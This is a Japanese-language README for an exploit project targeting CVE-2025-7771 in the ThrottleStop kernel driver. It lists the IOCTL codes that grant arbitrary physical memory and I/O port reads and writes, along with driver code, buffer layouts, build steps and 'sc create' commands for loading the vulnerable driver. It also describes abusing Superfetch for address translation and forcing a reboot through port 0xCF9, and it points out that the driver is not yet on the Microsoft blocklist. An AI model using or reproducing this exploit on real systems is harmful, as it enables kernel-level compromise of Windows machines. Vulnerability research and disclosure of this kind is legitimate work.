
CVE-2025-7771: ThrottleStopドライバを介した任意の物理メモリおよびI/Oポートの読み書き
CVE-2025-7771: ThrottleStop ドライバーを介した任意の物理メモリおよび I/O ポートの読み書き
ThrottleStop は、CPU のスロットリングを監視および修正するために使用される小さな正規のアプリケーションです。このタスクを支援するドライバーを備えていますが、ほとんどの場合、入力検証は一切行われません。
| IOCTL | 脆弱性 |
|---|---|
| 0x80006498 | 任意メモリ読み取り |
| 0x8000649C | 任意メモリ書き込み |
| 0x80006430 | 任意ポート読み取り |
| 0x80006434 | 任意ポート書き込み |
任意の MSR 読み取りと書き込みも存在するようですが、それらを動作させることができませんでした。
ご自身で調べてみてください。
MSR 読み取りは 0x80006448 に、書き込みは 0x8000644C にあります。
動作させることができた場合は、手順を説明する issue を提出してください。
以下で説明するすべての IOCTL 呼び出しは、Exploit.c ファイルに実装されています。
0x80006498 IOCTL は、MmMapIoSpace を使用して指定された物理アドレスをカーネル空間にマップし、そこから 1、2、4、または 8 バイトを読み取ります。データはその後、ユーザー空間にコピーされます。
この IOCTL をトリガーするには、物理アドレスを入力とし、出力バッファーサイズを読み取りサイズ (1、2、4、または 8) として DeviceIoControl を呼び出します。
ドライバー内でのこの IOCTL の簡略化されたコード:
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
読み取りと同様に、0x8000649C IOCTL は MmMapIoSpace を使用して指定された物理アドレスをカーネル空間にマップし、そこから 1、2、4、または 8 バイトを読み取ります。
この IOCTL をトリガーするには、次の入力バッファーレイアウトで DeviceIoControl を呼び出します。
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
入力バッファーサイズは、書き込みサイズに応じて 8 + (1、2、4、または 8) になります。
出力バッファーと出力バッファーサイズは使用されません。
ドライバー内でのこの IOCTL の簡略化されたコード:
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
0x80006430 IOCTL を使用すると、ユーザーは IO ポートを指定し、__inbyte、__inword、または __indword を使用して直接読み取ることができます。
入力バッファーは USHORT で、入力バッファーサイズは sizeof(USHORT) にします。
出力バッファーには結果 (要求されたサイズに応じて 1、2、または 4 バイト) が格納され、出力サイズは 1、2、または 4 にできます。
ドライバー内でのこの IOCTL の簡略化されたコード:
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
ポート読み取りと同様に、0x80006434 IOCTL を使用すると、ユーザーは IO ポートを指定し、__outbyte、__outword、または __outdword を使用して任意の値を書き込むことができます。
入力バッファーレイアウトは次のとおりです:
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
入力バッファーサイズは sizeof(USHORT) + sizeof(Value) (+ パディング) にします。 出力バッファーとそのサイズは使用されません。
ドライバー内でのこの IOCTL の簡略化されたコード:
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
この変換は、文書化されていない API を使用して仮想アドレスから物理アドレスへの変換を公開する正規のカーネルモジュールである Superfetch を悪用することで可能になります。 このコードは vtop.c に実装されています。
このプロジェクトは Meson を使用してコンパイルできます。PsInitialSystemProcess を使用して System プロセスの EPROCESS 構造体を解決し、UniqueProcessId フィールドを読み取って、それが 4 であるかどうかを確認します (Main.c に実装されています。また、特定の PID の EPROCESS を見つけるための関数は EProcess.c に実装されています)。さらに、システムを強制再起動するかどうかをユーザーに尋ねます。これは、ポート 0xCF9 に 0x0E の値を書き込むことで可能です。
警告: すべて Windows 11 build 24H2 でテストされました。EPROCESS 構造体内のオフセットは、お使いのシステムでは異なる場合があります。
次のコマンドでプロジェクトをビルドします
meson setup build
ビルドディレクトリが作成されます。次に、次のコマンドでプロジェクトをコンパイルします
meson compile -C build
ドライバーはリポジトリの Drivers ディレクトリにあります。ThrottleStop ドライバーは、Resource Hacker を使用して ThrottleStop.exe プログラムから直接抽出できます。x64 と x86 の 2 つのドライバーがあります。DriverObject->MajorFunction[14] には、すべての IOCTL が実装されているディスパッチ関数が格納されています。
次のコマンドでドライバーを作成して開始します:
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
このドライバーは、Microsoft のドライバーブロックリストにも loldrivers にもまだ追加されていません。